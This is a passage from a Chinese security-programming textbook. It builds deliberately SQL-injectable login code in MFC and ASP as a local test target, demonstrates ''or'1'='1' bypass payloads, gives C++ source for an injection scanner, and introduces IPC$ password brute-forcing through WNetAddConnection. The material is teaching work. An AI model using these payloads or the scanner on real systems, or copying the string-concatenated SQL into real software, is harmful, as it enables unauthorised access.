·半角“@”：构成SQL中的变量

·半角双引号“"”：会引起部分语句逻辑出错。

程序的主要代码是：



void CDialogLogin::OnOK()

{

//判断所输入的用户名和密码

UpdateData(TRUE);

BOOL bRightUser=FALSE;//先假设用户是非法用户

try

{

//数据库中字段表依次为：

//Id、Usernames、Passwords、UserLevels、Chinesenames等

CString strSql,strTemp;

if(m_bAvoidInject)//图11.1中的“通过过滤避免注入”

{//过滤指定的字符

char ch[2]={0x22,0x00};//双引号字符串

m_strUsername.Replace("'","");

m_strUsername.Replace(":","");

m_strUsername.Replace("@","");

m_strUsername.Replace((char*)ch,"");

}

//生成SQL语句，并实际查询

strSql.Format("select*from UserList where Usernames='%s'\

and Passwords='%s'",m_strUsername,m_strPassword);

m_pParentDlg-＞m_pRecordset=m_pParentDlg-＞m_pConnection-＞Execute(

(_bstr_t)strSql,NULL,adCmdText);

if(!m_pParentDlg-＞m_pRecordset-＞adoEOF)

{

bRightUser=TRUE;//如果找到，则为正确

}

m_pParentDlg-＞m_pRecordset-＞Close();

}

catch(_com_error e)///捕捉异常

{

CString errormessage;

errormessage.Format("读取用户名失败，请确认数据库正常后再运行！\

\r\n错误信息:%s",e.ErrorMessage());

MessageBox(errormessage,"数据库出错提示",

MB_OK|MB_ICONERROR);//显示错误信息

}

if(bRightUser)

CDialog::OnOK();//如果输入正确，则以合法用户的方式退出

else

{

m_iTimes--;//如果出错，还可以再尝试的次数减1

m_strComment.Format("密码错误，还有%d次机会。",m_iTimes);

GetDlgItem(IDC_EDIT_Comment)-＞SetWindowText(m_strComment);

this-＞Invalidate(TRUE);

}

if(m_iTimes＜=0)

CDialog::OnCancel();//如果三次输入错误，则以非法用户的方式退出

}



有了上面的代码，就可以做一个简单的测试：

❑输入正确的用户名和密码（如用户名"admin"和密码“1”），则SQL命令是："select*from UserList where Usernames='admin'and Passwords='1'"，这很显然可以查找，所以以合法用户方式退出。

❑输入错误的用户名或密码（如用户名"admin"和密码“111”），则SQL命令是："select*from UserList where Usernames='admin'and Passwords='111'"，这很显然因为无法查找，所以以非法用户方式退出。

❑输入一组固定的用户名和密码（如用户名"a"和密码"1'or'1'='1"），则SQL命令是："select*from UserList where Usernames='a'and Passwords='1'or'1'='1'"，这个式子变成了永真式，虽然在数据库中查不找用户名"a"，但由于式子正确，所以仍表现为能查到数据，所以仍以合法用户方式退出。

根据上面分析，发现通过注入式攻击，即可在不知道用户名和密码的前提下，仅通过输入固定的用户名和密码的情况下，仍然可以成功地进入系统。这就是注入式攻击。

图11.2中，为了输入方便，新增了“自动填入”按钮，单击该按钮，则会自动填入一组带有注入性质的用户名和密码。

要避免注入式攻击也不难，只需要对用户的输入进行过滤，排查掉非法字符或不合适的语句，如图11.1主界面中，单击“通过过滤避免注入”复选框，则在判断用户输入时，转入到过滤的判断，会对输入内容进行过滤，则再通过上面方式登录，则无法进入系统。

同样以上述例子，当输入固定的用户名"a"和密码"1'or'1'='1"时，由于选择了避免注入，所以代码将输入的半角单引号、冒号、双引号、@符号全部删除，随后的SQL命令是："select*from UserList where Usernames='a'and Passwords='1 or 1=1'"，该式很显然不正确，所以会以非法用户方式退出。

需要格外说明的是，即使不为避免注入，一般程序的输入框都需要对半角单引号“’”进行过滤，因为单引号会与SQL命令中的其他部分一起，会改变SQL的逻辑或导致SQL命令语法出错。一般的处理办法是过滤掉，实际需要的话，可以将其转换为全角引号。

C/S模式和单机模式，没有统一性，因此不作为主要内容，仅以此例进行说明。


11.1.4　B/S模式下扫描程序设计

B/S模式下，要制作和验证扫描程序比较复杂，需要按如下步骤操作，并且每一步都是下一步的前提。

1.搭建WWW服务器

首先需要根据7.1.3节“WWW服务器的安装与配置”搭建一个WWW服务器，并且假设安装过程中，各项值都采用的是默认值。

搭建成功后，该WWW服务的主目录在"C:\Inetpub\wwwroot"，并且支持ASP程序的。

2.制作带注入式漏洞的系统

创建一个Access数据库，在数据库中创建一个UserList表，该表的结构为：
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在该表中增加一个记录，其中User为admin，密码为1234。

有了数据库，分别需要再建一个让用户登录的界面和一个用户验证的界面，前者文件名为：InjectTest.asp，界面如图11.3所示。
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图　11.3　存在注入式漏洞登录页面

其程序源代码如下：



＜html＞

＜head＞

＜meta http-equiv="Content-Type"content="text/html;charset=gb2312"＞

＜meta name="GENERATOR"content="Microsoft FrontPage 6.0"＞

＜meta name="ProgId"content="FrontPage.Editor.Document"＞

＜title＞SQL注入系统演示程序＜/title＞

＜/head＞

＜body＞

＜div align="center"＞

＜table border="1"width="70%"height="254"＞

＜tr＞

＜td width="100%"bgcolor="#008080"height="18"＞＜/td＞

＜/tr＞

＜center＞＜tr＞

＜td height="209"align="center"bgcolor="#CCFFFF"background="Water.gif"＞

＜p align="center"＞＜/p＞

＜p align="center"＞＜b＞＜font color="#000080"＞SQL注入系统演示程序＜/font＞

＜/b＞＜/p＞

＜form method="POST"action="InjectCenter.asp"＞

＜table border="0"width="71%"＞

＜tr＞

＜td width="34%"align="right"＞＜font color="#000080"＞＜b＞用户＜/b＞＜/font＞＜/td＞

＜td width="66%"＞＜b＞＜font color="#000080"＞＜input type="text"

name="Username"size="15"value="admin"＞＜/font＞＜/b＞＜/td＞

＜/tr＞

＜tr＞

＜td width="34%"align="right"＞＜font color="#000080"＞＜b＞密码

＜/b＞＜/font＞＜/td＞

＜td width="66%"＞＜b＞＜font color="#000080"＞

＜input type="password"name="Password"size="15"＞＜/font＞＜/b＞＜/td＞

＜/tr＞

＜/table＞

＜input type=hidden name="source"value="fromform"＞

＜p align="center"＞＜b＞＜font color="#000080"＞

＜input type="submit"value="登录系统"name="B1"style="color:

rgb(255,255,0);font-size:9pt;background-color:rgb(0,128,128)"＞＆nbsp;

＜input type="reset"value="清空重写"name="B2"style="color:rgb(255,255,0);

font-size:9pt;background-color:rgb(0,128,128)"＞＜/font＞＜/b＞＜/p＞

＜/form＞

＜/tr＞

＜tr＞

＜td width="100%"bgcolor="#008080"height="13"align="center"＞

＜p align="right"＞＜font color="#FFFF00"size="2"＞Copyright(c)2011,

All rights reserved.＜/font＞＜/p＞

＜/td＞

＜/tr＞

＜/table＞

＜/center＞

＜/div＞

＜/body＞

＜/html＞



在7.1.1.1节“超文本格式和HTML”中简单介绍了HTML语言，在此处只需要关注上面代码中加粗的部分。"＜input type="text"name="Username"size="15"value="admin"＞"表示这是一个长度为15个单位的文本框控件（type="text"），并且关联了一个名为Username的变量，其默认值为admin。"＜input type="password"name="Password"size="15"＞"表示这是一个长度为15个单位的密码文本框控件（type="password"），并且关联了一个名为Password的变量，其默认值为空。"＜form method="POST"action="InjectCenter.asp"＞"与"＜/form＞"之间的代码表示这是一个表单，该表单会作为一个整体，以"POST"的方式（详见7.1.2节“协议消息格式”）将其中的变量（本例中是Username和Password）提交到InjectCenter.asp页面中。

再制做一个文件InjectCenter.asp，界面如图11.4所示。
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图　11.4　注入式漏洞效果验证页面

其程序源代码如下：



＜html＞

＜head＞

＜meta http-equiv="Content-Type"content="text/html;charset=gb2312"＞

＜meta name="GENERATOR"content="Microsoft FrontPage 6.0"＞

＜meta name="ProgId"content="FrontPage.Editor.Document"＞

＜title＞SQL注入系统演示程序＜/title＞

＜/head＞

＜body＞

＜div align="center"＞

＜table border="1"width="100%"height="424"＞

＜tr＞

＜td width="100%"bgcolor="#008080"height="32"＞

＜p align="center"＞＜font color="#FFFF00"＞＜b＞中心系统＜/b＞＜/font＞＜/p＞

＜/td＞

＜/tr＞

＜center＞

＜tr＞

＜td height="351"align="left"bgcolor="#FFFFFF"valign="top"＞

＜font size="2"color="#0000FF"＞

＜p align="center"＞＜br＞＜br＞＜br＞

＜%

'以两种方式读取由上一个页面传过来的参数

Usernamef=request.form("Username")

Passwordf=request.form("Password")

Usernamer=request("Username")

Passwordr=request("Password")

'与数据库InjectTest.mdb建立一个连接

set conn=server.CreateObject("ADODB.Connection")

Connstr="DBQ="+server.mappath("InjectTest.mdb")+";

DRIVER={Microsoft Access Driver(*.mdb)};"

conn.open connstr

'选择使用哪一组传过来的参数

if Usernamef＜＞""then

sql="select*from UserList where User='"+Usernamef+"'

and Pass='"+Passwordf+"'"

else

sql="select*from UserList where User='"+Usernamer+"'

and Pass='"+Passwordr+"'"

end if

'把命令显示出来，只是为了看到效果

response.write sql+"＜br＞"

'从数据库中读取用户名和密码，并判断数据库中能否找到

set rs=conn.execute(sql)

if not rs.EOF then

response.write"用户审核通过，欢迎访问系统。"

else

response.write"用户或密码不对，请重新输入。"

end if

'关闭与数据库的连接

rs.close

set rs=nothing

conn.close

set conn=nothing

%＞

＜/font＞＜br＞＜br＞＜br＞

＜font color="#FFFF00"size="2"＞[＜a href="InjectTest.asp"＞返回登录主页

＜/a＞]＜/font＞

＜/tr＞

＜tr＞

＜td width="100%"bgcolor="#008080"height="23"align="center"＞

＜p align="right"＞＜font color="#FFFF00"size="2"＞Copyright(c)2011,

All rights reserved.＜/font＞＜/p＞

＜/td＞

＜/tr＞

＜/table＞

＜/center＞＜/div＞

＜/body＞

＜/html＞



同样，只关心其中字体加粗部分的内容即可，“＜%”和“%＞”之间的是ASP语言部分，该部分会在WWW服务器上动态执行，并生成HTML语言，也就是说，上面的代码只是WWW服务器上的代码，到了客户端的浏览器上，就变成了纯HTML语言了。

在WWW中，两个页面中传递参数的方式有很多种，其中通过URL地址传送和通过表单传送是其中最常用的两种，它们分别是：

❑URL地址传送方式是根据URL规则，直接在URL文件名的后面加上一个半角问号“?”，后面再跟以半角“＆”间隔的形如“变量名=变量值”的多个表达式。如图11.4中，如果在IE上面的地址栏中，输入"http://127.0.0.1/inject/InjectCenter.asp?username=admin＆password=1234"之后回车，则InjectCenter.asp代码中可以通过request(“变量名”)接到指定的变量值。

❑通过表单传送的时候，首先要有一个表单页（form），如图11.3中，代码"＜form method="POST"action="InjectCenter.asp"＞"和"＜/form＞"表示表单范围，二者之间的两个"＜input....＞"表示的是关联了控件的变量，那么当单击这个表单中的提交按钮"＜input type="submit"....＞"的时候，会将两个变量及其值传送给"＜form..＞"所指定的文件InjectCenter.asp中，InjectCenter.asp中的代码可以通过request.form（“变量名”）接到指定的变量值。

根据这两种方式，不难看到："Usernamef=request.form("Username")"和"Passwordf=request.form("Password")"表示接收由表单传过来的变量Username和Password，也就是说，当在图11.3的状态下，输入用户名为"admin"和密码为“1234”，单击“登录系统”按钮，系统就会自动转到InjectCenter.asp中，而InjectCenter.asp中的这两行代码正好接到这两个分别为"admin"和“1234”的变量值。"Usernamer=request("Username")"和"Passwordr=request("Password")"表示接收由URL地址传送过来的变量，所以当用户在IE地址栏中输入"http://127.0.0.1/inject/InjectCenter.asp?username=admin＆password=1234"后，这两行代码会分别接收到两个变量值。

通过上述分析，可以得到如下结论：

❑通过图11.3的界面，输入用户名和密码后，单击“登录系统”按钮，系统会进入如图11.4所示的认证程序界面。如果这里存在注入式漏洞，则可以通过手工输入进行验证，同时，扫描程序也应该能够模拟这种表单提交的方式检测注入式漏洞。

❑通过任意的IE页面，直接在IE地址栏中输入带变量的URL地址，也能将传递参数，如输入"http://127.0.0.1/inject/InjectCenter.asp?username=admin＆password=1234"之后，系统同样进入图11.4所示的认证程序界面。如果这里存在注入式漏洞，则也应该能够手工验证，并且，扫描程序也能模拟这种URL地址提供的方式验证是否有注入式漏洞。

3.验证上述代码中存在的漏洞

有了上面的分析，就很容易验证了。第一种方式，在图11.3中的密码栏中输入"'or'1'='1"，单击“登录系统”按钮，发现结果如图11.4所示：用户通过了认证，很显然这里存在着典型的SQL注入式攻击。再看第二种方式，在IE地址栏中输入"http://127.0.0.1/inject/InjectCenter.asp?username=admin＆password=%27%20or%20%271%27=%271"，回车后发现结果仍然是如图11.4所示的效果，显而易见，通过URL地址的方式也能攻击。式中的“%27”等价于半角单引号“'”，“%20”等价于半角空格“”，当这些符号出现在URL的内容中，需要通过等价的符号以避免产生二义性。

当然，需要说明的是，之所以会出现如此效果，是我们为后面扫描程序而精心制作的“靶子”，实际的系统几乎没有同时支持两种方式登录的。

4.注入式漏洞扫描原理

在做扫描器之前，首先分析一下扫描原理。由于对方服务器是B/S结构中的S端（即服务器），所以扫描器所要取代的是B端（即浏览器端），但浏览器本身通常只能用手工进行输入，因此无法直接使用，所以只能用自己所编写的浏览器端作扫描器。该扫描器采用的是HTTP协议（详见7.1.2节“协议消息格式”）或采用表单提交的方式，或采用URL地址的方式。鉴于二者在注入式漏洞扫描器中都有市场，所以本书下例同时使用两种方式。

剩下的难度就是如何控制参数和如何鉴别结果是否有漏洞。前者难在不同的程序参数的个数和变量名各不相同，没有统一的格式；后者难在无论认证成功与失败，对方都会返回页面，返回的页面中也各不相同，很难提取存在与否的信息。

解决办法就是：二者都由用户来定义，前者参数让用户根据对网站信息的分析进行猜测（比如浏览同一网站时，根据别的网页的信息进行推断）；后者参数用户可以先输入一组，然后根据结果判断返回页面的关键字。同时，为了能更清楚地了解数据的传输，特将双方交换过程中的中间数据也显示出来，这样既便于查找关键字，也便于排查错误。

从程序设计的角度上看，主要就是创建一个Socket，根据WWW服务器的协议要求，该Socket将是一个面向连接的TCP短连接，完成一个操作后马上断开，再申请时就再连接。这一部分代码中，最关键的是生成一个提供表单或修改URL地址的数据包，该包以POST的方式向WWW服务器发送，然后接收服务器的回复进而做判断。

5.程序主界面

根据上述分析，可以做一个界面如图11.5所示。
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图　11.5　注入式漏洞扫描程序

主界面分为四部分，“扫描参数”的"URL"文本框即是要扫描的程序页面URL地址。“参数”文本框用于设定该URL页面所接收的参数，该参数既可以是表单参数，也可以是URL地址参数，但都要以URL地址的表现形式出现。“成功词”文本框是判断用户返回页面中，返回什么关键词的时候，就认为是存在漏洞，否则不存在。“发送的内容”和“接收的内容”是发送和接收的中间数据。“系统提示”根据扫描参数以及中间数据做出判断结果，很显然，因为“成功词”是“通过”，而“接收的内容”中显示有“通过”二字，所以就认为该地址“有注入式漏洞！”的结论。

6.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为PortScan_Inject。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：

[image: ]


7.在文件的前面加入必要的声明、定义



#include＜winsock2.h＞

#pragma comment(lib,"ws2_32")

#include＜AFXINET.H＞

#define MAXRECEIVENUM(60*1000)

#define INIFILENAME".\\PortScan.ini"

typedef struct ThreadParamStruct

{

CString strIP;//主机IP地址

UINT uPort;//端口地址

CString strURL;//URL地址

CString strObject;//对象，主要是除服务器之外的，包含路径在内的页面

CPortScanDlg*ptr;//界面的指针

CString strParam;//变量参数

CString strFilter;//成功词

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadInjectScan(LPVOID pParam);//扫描线程



8.程序主要代码



BOOL CPortScanDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

WSAData wsaData;//socket初始化

WSAStartup(WINSOCK_VERSION,＆wsaData);

ReadFromINI();//从INI文件中读默认的配置

UpdateData(FALSE);

return TRUE;

}

void CPortScanDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",MB_OKCANCEL|

MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

SaveToINI();//将界面的数据保存到INI文件中

WSACleanup();

CDialog::OnCancel();

}

}

void CPortScanDlg::OnBUTTONScanStart()

{

UpdateData(TRUE);

DWORD dwServiceType;

INTERNET_PORT nPort;

CString strServer;

CString strObject;

CString strUsername;

CString strPassword;

DWORD dwFlags=0;

//先解析URL串，以避免格式不符合，同时将URL拆分成几个部分

if(!AfxParseURLEx(m_strURL,dwServiceType,strServer,strObject,nPort,

strUsername,strPassword,dwFlags))

{

MessageBox("URL格式不对。","操作提示",MB_OK|MB_ICONERROR);

return;

}

//为避免二义性，要求URL中的一些符号换成二进制表示形式

CString strParam=m_strParam;

strParam.Replace("'","%27");

strParam.Replace("","%20");

//开启线程，进行扫描

CString strTemp;

ThreadParam.strIP=strServer;

ThreadParam.ptr=this;

ThreadParam.uPort=nPort;

ThreadParam.strURL=m_strURL;

ThreadParam.strObject=strObject;

ThreadParam.strParam=strParam;

ThreadParam.strFilter=m_strFilter;

AfxBeginThread(ThreadInjectScan,＆ThreadParam,THREAD_PRIORITY_IDLE);

UpdateData(FALSE);

}

UINT ThreadCSocketScan(LPVOID pParam)

{

//接收所有的参数

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CPortScanDlg*ptr=threadparam-＞ptr;

CString strURL=threadparam-＞strURL;

CString strObject=threadparam-＞strObject;

CString strParam=threadparam-＞strParam;

CString strFilter=threadparam-＞strFilter;

//创建一个Socket

SOCKET sock=-1;

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock==SOCKET_ERROR)

{

AfxMessageBox("创建SOCKET出错。\n");

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

AfxMessageBox("Connect出错，对方未提供WWW服务。!",

MB_OK|MB_ICONINFORMATION);

closesocket(sock);

return 4;

}



注意这一部分是本程序最关键的部分，主要完成的操作是发送指定格式的数据包，该数据包有以下几条注意事项：

❑以“短连接”的方式发送和接收，简短的几个收发后即断开，再收发则再连接。

❑以POST方式的HTTP协议格式，HTTP协议格式详见7.1.2节“协议消息格式”。

❑strParam的格式：”变量1=值1＆变量2=值2＆......”;

❑如果需要以URL地址传变量的方式，则是在协议第一行中采用"POST URL?strParam HTTP/1.0\r\n"的形式，详见下面程序代码。

❑如果要以表单的形式传变量，则需要在内容中加上strParam参数，详见下面程序代码。

❑HTTP头域和内容之间有一个空行，这是很容易出错的地方。



CString strTemp;

CString strSend="",strReceive="",strResult="";

strSend.Format("POST/inject/injectcenter.asp?%s HTTP/1.0\r\n",strParam);

strSend+=strTemp;//URL地址传变量

strSend+="Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,

application/vnd.ms-excel,application/msword,application/vnd.ms-

powerpoint,*/*\r\n";

strSend+="Accept-Language:zh-cn\r\n";

strSend+="Accept-Encoding:gzip,deflate\r\n";

strSend+="User-Agent:Mozilla/4.0\r\n";

strTemp.Format("Content-Length:%d\r\n",strParam.GetLength());

strSend+=strTemp;//不含头域的内容长度

strTemp.Format("Host:%s\r\n",strIP);

strSend+=strTemp;//主机IP地址

strSend+="Content-Type:application/x-www-form-urlencoded\r\n";

strSend+="\r\n";//注意："\r\n"等价于空行，这个空行是必须有的

strSend+=strParam;//以表单的方式传递参数

//发送上面构建的包

send(sock,strSend.GetBuffer(0),strSend.GetLength(),0);

//接收，IP包最大为64K左右，所以定义一个大的缓冲区

UCHAR RecvBuf[MAXRECEIVENUM];

int iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet＞0)

{

RecvBuf[iLenRet]='\0';

strReceive.Format("%s",RecvBuf);

//根据"成功词"判断是否有漏洞

if(strReceive.Find(strFilter)＞=0)

strResult="有注入式漏洞！";

else

strResult="没有注入式漏洞！";

}

else

strResult="网络不通！";

//将中间数据显示到界面上，以便排查

ptr-＞ShowSendAndReceive(strSend,strReceive,strResult);

//关闭Socket

shutdown(sock,2);

closesocket(sock);

return 0;

}

void CPortScanDlg::ShowSendAndReceive(CString strSend,CString strReceive,

CString strResult)

{

//将中间数据显示到界面上，以便排查

UpdateData(TRUE);

m_strSend=strSend;

m_strReceive=strReceive;

m_strComment=strResult;

UpdateData(FALSE);

}

int CPortScanDlg::ReadFromINI()

{

char buff[MAX_PATH];

//程序在启动时，有三个参数是从INI文件中读取，以便程序有记忆功能

UpdateData(TRUE);

GetPrivateProfileString("Param","URL","",buff,MAX_PATH,INIFILENAME);

m_strURL.Format("%s",buff);

GetPrivateProfileString("Param","Param","",buff,MAX_PATH,INIFILENAME);

m_strParam.Format("%s",buff);

GetPrivateProfileString("Param","Filter","",buff,MAX_PATH,INIFILENAME);

m_strFilter.Format("%s",buff);

UpdateData(FALSE);

return 0;

}

void CPortScanDlg::SaveToINI()

{

//程序在退出时，将界面上的参数保存到INI文件中

UpdateData(TRUE);

WritePrivateProfileString("Param","URL",m_strURL,INIFILENAME);

WritePrivateProfileString("Param","Param",m_strParam,INIFILENAME);

WritePrivateProfileString("Param","Filter",m_strFilter,INIFILENAME);

}




11.2　主机弱密码扫描

与计算机相关的密码系统，通常都是用键盘输入的密码，这会使密码的可输入范围和密码的位数必然是有限的。而密码的验证系统可以对一个指定的密码，给出正确或错误的反馈。根据这两个客观条件相结合，可以想象一种穷举破解方法，即通过程序能够“遍历”出所有的密码，然后依次用这些遍历生成的密码，一个个地试着通过对方的验证系统进行验证，如果验证系统反馈错误，就继续验证；如果验证系统反馈正确，则可以认为破解成功，这种攻击的方式通常称为穷举破解或暴力破解。

在分析这种破解方式之前，先要了解一下操作系统级密码破解中涉及的API函数及原理。


 11.2.1　网络连接的API

IPC$(Internet Process Connection)是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(C$,D$,E$……)和系统目录Winnt或Windows(admin$)共享。所有这些功能，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。

注意，本章所讨论的各种情况均默认发生在Windows NT/2000环境下，Windows 98将不在此次讨论之列，而鉴于Windows XP在安全设置上有所提高，个别操作并不适用。

11.2.1.1　WNetAddConnection函数



DWORD WNetAddConnection(

LPCTSTR lpRemoteName,//网络设备名

LPCTSTR lpPassword,//密码

LPCTSTR lpLocalName//本地设备名

);



WNetAddConnection函数可以让应用程序连接本地或远端的网络资源。该连接是持久的，一旦建议，系统会记忆下来以备后面使用。该功能主要是为了与16位的Windows保持兼容，所以如果是在像Windows 2000等32位的操作系统上使用时，应该使用WNetAddConnection2或the WNetAddConnection3。

返回值：如果调用成功，返回NO_ERROR。如果调用失败，则返回错误码，错误码包括如下值：
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参数如下：

❑lpRemoteName：指向一个要连接的网络资源字符串的指针。

❑lpPassword：指向一个表示要建立连接的密码字符串指针。该密码应该与当前用户是绑定关系。如果密码为NULL，则使用默认的密码，如果密码为“”（即空串），则表示密码为一个空的字符串。在Windows 95/98中，该项必须为NULL或空串。

❑lpLocalName：指向一个本地设备或主机名称。如"F:"或"LPT1"，该字符串大小写敏感。如果为NULL，则表示本地资源没有重定向的特性。

11.2.1.2　WNetCancelConnection函数



DWORD WNetCancelConnection(

LPCTSTR lpName,//资源名称

BOOL fForce//无条件断开选项

);



WNetCancelConnection函数关闭一个已存在的网络连接，也可以删除已记忆的网络连接。该功能主要是兼容16位操作系统，要在32位操作系统中使用，则使用WNetCancelConnection2函数。

返回值：如果调用成功，返回NO_ERROR。如果调用失败，则返回错误码，错误码参见11.2.1.1节，有几项不同：
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参数如下：

❑lpName：指向一个要断开的本地重定向驱动器或远端网络资源的名称。如果该参数指向一个本地重定向驱动器，该函数就会取消重定向，否则该功能会取消所有远端资源的网络资源。

❑fForce：布尔值，表示如果当前连接中有文件被打开，是否断开。如果该参数为FALSE，则如果有文件被打开而未被关闭，则该连接的关闭失败；否则强制关闭文件后再关闭连接。

11.2.1.3　WNetAddConnection2函数



DWORD WNetAddConnection2(

LPNETRESOURCE lpNetResource,//连接结构指针

LPCTSTR lpPassword,//密码字符串

LPCTSTR lpUsername,//用户名字符串

DWORD dwFlags//连接选项

);



WNetAddConnection2函数可以让应用程序连接本地或远端的网络资源。并将该连接重定向映射成一个本地驱动器盘符使用（从Windows XP界面上看，一般是保存在“网上邻居”中）。该函数用于取代WNetAddConnection函数。如果用户想通过一个句柄访问资源，并有自己的对话框，可以使用WNetAddConnection3函数，见11.2.1.5节。

返回值：如果调用成功，返回NO_ERROR；如果调用失败，则返回错误码，参见11.2.1.1节，其中有几项不同：
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参数如下：

❑lpNetResource：指向一个NETRESOURCE结构（参见8.4.1小节“NETRESOURCE结构”），该结构列出了连接的各项属性。其成员中lpLocalName成员指向一个RESOURCETYPE_DISK（如"F："）或RESOURCETYPE_PRINT（如"LPT1"）类型的资源。如果为NULL，则dwType的值可以是RESOURCETYPE_DISK、RESOURCETYPE_PRINT或RESOURCETYPE_ANY。成员lpRemoteName指向远端主机，即要连接的网络资源字符串，该串最长限制在MAX_PATH（即256）个字节以内。其他则可以为空，以表示使用默认值。

❑lpPassword：指向一个表示要建立连接的密码字符串指针。该密码应该与lpUserName是绑定关系。如果密码为NULL，则使用lpUserName用户默认的密码，如果密码为“”（即空串），则表示密码为一个空的字符串。在Windows 95/98中，该项必须为NULL或空串。

❑lpUsername：指向一个表示要建立连接的用户名字符串指针。如果用户名为NULL，则使用默认的用户名。在Windows 95/98中，该项必须为NULL或空串。

❑dwFlags：DWORD类型的标志位组合，当前的可取值有：CONNECT_UPDATE_PROFILE，网络资源应该被记忆下来，以便以后使用。

11.2.1.4　WNetCancelConnection2函数



DWORD WNetCancelConnection2(

LPCTSTR lpName,//资源名称

DWORD dwFlags,//连接类型

BOOL fForce//无条件断开选项

);



WNetCancelConnection2函数关闭一个已存在的网络连接，也可以删除已记忆的网络连接。

返回值：如果调用成功，返回NO_ERROR；如果调用失败，则返回错误码，见11.2.1.2节。

参数lpName、fForce见11.2.1.2节。dwFlags是一个DWORD类型的标志位组合，该值可以是下列各值的组合：
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11.2.1.5　WNetAddConnection3函数



DWORD WNetAddConnection3(

HWND hwndOwner,//调用者窗口句柄

LPNETRESOURCE lpNetResource,//连接的结构指针

LPTSTR lpPassword,//密码字符串

LPTSTR lpUserName,//用户名字符串

DWORD dwFlags//连接选项

);



WNetAddConnection3函数可以让应用程序连接本地或远端的网络资源。并将该连接重定向映射成一个本地驱动器盘符使用。该函数与WNetAddConnection2函数非常相似，主要的不同是多了一个句柄参数。该句柄是一个Windows对话框句柄，可以让用户手选所使用的资源。该函数与WNetAddConnection2一样，用于取代WNetAddConnection函数。

WNetAddConnection3函数的断开，使用WNetCancelConnection2。

返回值和参数参见11.2.1.3节。参数多了一项：hwndOwner为一个用于选择网络资源的对话框的句柄。该值可以为NULL，当为NULL的时候，该函数完全等价于WNetAddConnection2。


11.2.2　密码穷举分析

理论上，用穷举方式进行破解是一种近乎“放之四海而皆准”的攻击方式，因为这种方式回避了对方的加密算法，而是仍然采用了对方的加密算法进行验证，这样不存在因加密算法的难度而带来的攻击难度。

虽然有些系统会针对这种破解提出一些防穷举方案，比如，有些系统会在判断对方连续若干次出错后，会“冻结”出错的帐户，但这种方案会导致对方DOS（拒绝服务）攻击，即通过几个简单的连接就使对方正常用户无法使用，因此该方案很少有人使用。

该方法只取决于使用什么样的API，与对方的加密算法、使用系统无关，因此此方法也可以用于攻击高级服务系统。如前面提到的FTP服务，本书只提及了其服务的扫描，如果要进行密码的穷举破解，只需要在连接的时候，通过FTP协议中，用户名和密码的认证方式，结合本章的程序对程序稍做修改即可实现对FTP密码的暴力破解。

如此“完美”的通用破解方式，其实并不总是有效的。因可从理论上分析此算法的穷举时间，假设密码穷举时，连接对方时的速度均匀，并且不会被中断，则按照等概率来分析，穷举成功的时间，应该是穷举一半空间所耗的时间（证明略）。

首先，密码是通过键盘由人手工输入的，可输入的字符又根据其意义，可以分为四组，分别是“大写字母”、“小写字母”、“数字”、“其他”等四组。之所以要人为地把大写字母和小写字母分成两个组，是因为实际使用中，二者的密码使用概率相差极大。四组密码字符集详见表11.1。
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其次，再来分析密码的位数，假设确切知道用户输入的密码有n位，则由这n位密码所生成的所有可能密码（称为排列空间）为个数和遍历一半所用时间如表11.2～表11.4所示。
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实际使用中，如绝大多数人的密码只由小写字母字符集或数字字符集（如银行的密码系统或是由电话机输入的密码系统）组成，即使有人使用两个字符集，也一定是先全是一个字符集，随后全是另一个字符集，如（“小写字母+数字”这种方式最多）。这时，可以由表11.3和表11.4进行分析，此时，不难发现，由于字符集变得单一，使得穷举空间和穷举时间大为减少，这也正是很多系统很容易破解的一个重要原因。

之所以会出现上述问题，除了一些人的安全意识不足之外，也因为现代社会中，人们需要密码的场合太多，每个人记忆有限，不可能记住每一个密码。那么如何才能有效的记住每一个密码，并且不让这些密码具备上述特点？根据对一些密码的分析，建议有如下几种办法：

❑可以在一个密码词的中间加入一个通过简单算法获得的某个数字或符号。比如，密码使用"hel7lo"的安全性要比使用"hello"高很多。

❑所使用的密码在键盘上按键位置作整体平移，如密码"helloworld"各按键在键盘上向右平移一位，就变成了"jr;;pept;f"，而后者的安全性比前者高很多。

❑使用一句话的首拼音首字母缩写，而不使用单词或拼音，比如“我爱北京天安门”的拼音首字母是"wabjtam"。


11.2.3　程序主界面

根据上述分析，可以做一个界面如图11.6所示。
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图　11.6　嗅探监测密码

主界面分为三部分：

